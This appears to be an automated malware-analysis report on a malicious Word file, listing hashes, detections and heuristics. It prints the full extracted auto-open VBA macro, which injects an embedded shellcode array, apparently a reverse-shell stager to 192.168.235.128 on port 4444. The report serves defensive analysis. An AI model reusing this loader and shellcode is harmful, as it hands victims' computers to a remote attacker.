Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a5d9986cd14ae0b…

MALICIOUS

Office (OLE)

41.0 KB Created: 2018-05-07 12:02:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: e3b1eb8d4e059fdf15f7877dc3dd92cc SHA-1: fe0d690f6c595a3e32b803b87732991ab0444d66 SHA-256: 6a5d9986cd14ae0b74f90742e33a29684fe4154468d042d476861aee13ed0ff2
286 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages a known memory corruption vulnerability (CVE-2007-3899) to execute arbitrary code. The embedded VBA macro, named 'macros.bas', contains API calls to 'VirtualAlloc' and 'CreateThread', indicating it's designed to allocate memory and execute shellcode. The macro is triggered by an AutoOpen event, which is a common technique for document-based malware to achieve execution upon opening.

Heuristics 11

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Dmoz As Long, Eqeuteo As Variant, Sijeptd As Long
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3118 bytes
SHA-256: 3b8142e372c3e548b4e938abbf03d15c2ab1eb8b1cfef5fdffcfc8f8afcb2942
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Xkhupnb As Long, ByVal Pnai As Long, ByVal Attlvekvz As LongPtr, Enonnq As Long, ByVal Anz As Long, Cguaaw As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Flgn As Long, ByVal Bwlvskaat As Long, ByVal Qap As Long, ByVal Aaagdd As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Lpmjcqlq As LongPtr, ByRef Hqtjdq As Any, ByVal Dxcxnqx As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Xkhupnb As Long, ByVal Pnai As Long, ByVal Attlvekvz As Long, Enonnq As Long, ByVal Anz As Long, Cguaaw As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Flgn As Long, ByVal Bwlvskaat As Long, ByVal Qap As Long, ByVal Aaagdd As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Lpmjcqlq As Long, ByRef Hqtjdq As Any, ByVal Dxcxnqx As Long) As Long
#End If

Sub Auto_Open()
    Dim Dmoz As Long, Eqeuteo As Variant, Sijeptd As Long
#If VBA7 Then
    Dim Tnjf As LongPtr, Xbzdl As LongPtr
#Else
    Dim Tnjf As Long, Xbzdl As Long
#End If
    Eqeuteo = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 235, 128, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)

    Tnjf = VirtualAlloc(0, UBound(Eqeuteo), &H1000, &H40)
    For Sijeptd = LBound(Eqeuteo) To UBound(Eqeuteo)
        Dmoz = Eqeuteo(Sijeptd)
        Xbzdl = RtlMoveMemory(Tnjf + Sijeptd, Dmoz, 1)
    Next Sijeptd
    Xbzdl = CreateThread(0, 0, Tnjf, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.